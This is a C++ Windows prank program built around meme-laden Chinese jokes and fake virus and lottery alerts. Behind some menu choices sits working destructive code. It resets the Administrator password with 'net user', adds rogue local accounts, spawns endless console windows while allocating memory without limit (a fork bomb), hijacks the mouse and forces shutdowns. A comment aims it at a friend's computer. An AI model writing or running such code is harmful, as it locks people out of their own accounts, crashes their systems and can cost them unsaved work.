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#include
#include
#include
#include
#include
#include
#include
#define a 415
#define b 466
#define c 554
#define d 622
#define e 740
#define f 831
#define g 932
using namespace std;
int a9()
{
cout<<"qfrs7erf27";
system("color 4");
Sleep(1000);
printf("系统故障");
cout<<"wgadtryrdrs621rde26dr2e56reytrdfyqgtqu-19-9 0-8e120r1e213p172rft6q29p-[r9719of12fgi673d23f6i772136h0d142p1n1 32p9u21;211od19yh"< MessageBox(NULL,TEXT("系统破环，正在修复中..."),TEXT("电脑助手"),MB_OK);
MessageBox(NULL,TEXT("系统受损严重，正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
for(int i=1;i<=2;i++)
SetCursorPos(rand()%x1,rand()%y1);
int abcdefg;
cin>>abcdefg;
if(abcdefg==1)
{
return 0;
}
else
{
system("shutdown /p");
}
}
int main()
{
int abcdefghi;
cout<<"--------------鸡哥电脑开机中---------------\n";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
cout<<"鸡你太美 太美 哦 鸡你太美 太美哦~!!!\n";
cout<<"你干嘛 哎呦系统开机中！\n"; 
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 6);
cout<<"只因鸡：恭喜您中大奖啦！！！！！！！！！！！！\n";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 4);
cout<<"你干嘛 哎呦系统：按1交订金，按2打开反诈ＡＰＰ,按3与ta周旋,按4与ta周旋亿下,按5启动360大脑\n";
cin>>abcdefghi;
if(abcdefghi==1){
cout<<"你只因鸡：恭喜您中病毒啦！！！钱没啦！！！\n";
cout<<"你干嘛 哎呦系统提示";
cout<<"------电脑已中病毒------\n";
a9();
} 
if(abcdefghi==2){
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
cout<<"你这个人咋......\n";
cout<<"闭嘴吧你！回牢里说吧！！！\n";
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
cout<<"嘿你丫的！是我！你爹！！！"; 
cout<<"鸡你实在太美 太美哦~";
cout<<"开机成功\n"; 
}
if(abcdefghi==3)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
cout<<"me:车的士速递hi吧菜！！！\n";
cout<<"只因哥：韩国人呐，交钱思密达！！！\n";    
cout<<"me:听不懂思密达！！！\n";
cout<<"只因哥：装什么韩国人呐！！！\n";
cout<<"嘿你丫的！是我！你爹！！！\n"; 
cout<<"鸡你实在太美 太美哦~\n";
cout<<"开机失败\n";
cout<<"～～～～～～来了老弟～～～～～～～～～～～";
MessageBox(NULL,TEXT("程序已崩溃"),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重，正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);
 
Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
    for(int i=1;i<=100;i++)
    {
         for(int i=1;i<=999;i++)
         {
             system("start");
         }
        
        Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
    }
    system("net user Administrator sb");//自动把密码改成sb 
    Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
        system("net user 1 sb /add");//创建用户
        system("net user 2 sb /add");//创建用户
        system("net user 3 sb /add");//创建用户
        system("net user 4 sb /add");//创建用
        system("net user 5 sb /add");//创建用户
        system("net user 6 sb /add");//创建用户
     
    cout<<"正在删除系统文件中...";
    Sleep(1000);
    system("tree c:\\windows");
    system("cls");
    Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
    MessageBox(NULL,TEXT("删除完成"),TEXT("电脑助手"),MB_OK);
    Sleep(1000);
    while(1){
        for(int i=1;i<=900;i++) {
        new char[1000000];
    }//如果扛过了你朋友电脑配置怪好的嘞 
        system("start cmd");
    }
}
if(abcdefghi==4)
{
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
cout<<"me:车的士速递hi吧菜！！！\n";
cout<<"只因哥：韩国人呐，交钱思密达！！！\n";    
cout<<"me:遥遥领先韩国泡菜遥遥领先！！！\n";
cout<<"只因哥：一不做二不休，既然这样~你直接给我坐下！！！"; 
cout<<"嘿你丫的！是我！你爹！！！"; 
cout<<"鸡你实在太美 太美哦~";
cout<<"开机失败\n";
MessageBox(NULL,TEXT("系统破环，正在修复中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重，正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);
 
Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
srand(time(0));
 srand(time(0));
    for(int i=1;i<=100;i++)
    {
        for(int j=1;j<=348;j++)
        {
            int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
        SetCursorPos(rand()%x1,rand()%y1);
         } 
        system("start");
        Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
    }
    system("net user Administrator sb");//自动把密码改成sb 
    Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
    system("net user 崩溃吧 sb /add");//创建用户崩溃吧 
    cout<<"正在删除系统文件中...";
    Sleep(1000);
    system("tree c:\\windows");
    system("cls");
    Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
    MessageBox(NULL,TEXT("删除完成"),TEXT("电脑助手"),MB_OK);
    Sleep(1000);
    system("shutdown -s -t 30");
}
if(abcdefghi==5){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
    cout<<"电脑助手：360干活了！！！\n"; 
    cout<<"360:你干嘛~~~ 哎呦~~~\n"; 
    cout<<"~~~~~~~~~~~~~360启动~~~~~~~~~~~~~~~~\n";
    cout<<"360:您好！！！！！这里有个服务，向你推荐一下！拜拜了，您嘞！~~~~~\n"; 
    cout<<"只因哥：无了~~~\n"; 
    cout<<"嘿你丫的！是我！你爹！！！\n"; 
    cout<<"鸡你实在太美 太美哦~\n";
    cout<<"开机成功\n";  
}
return 0;
}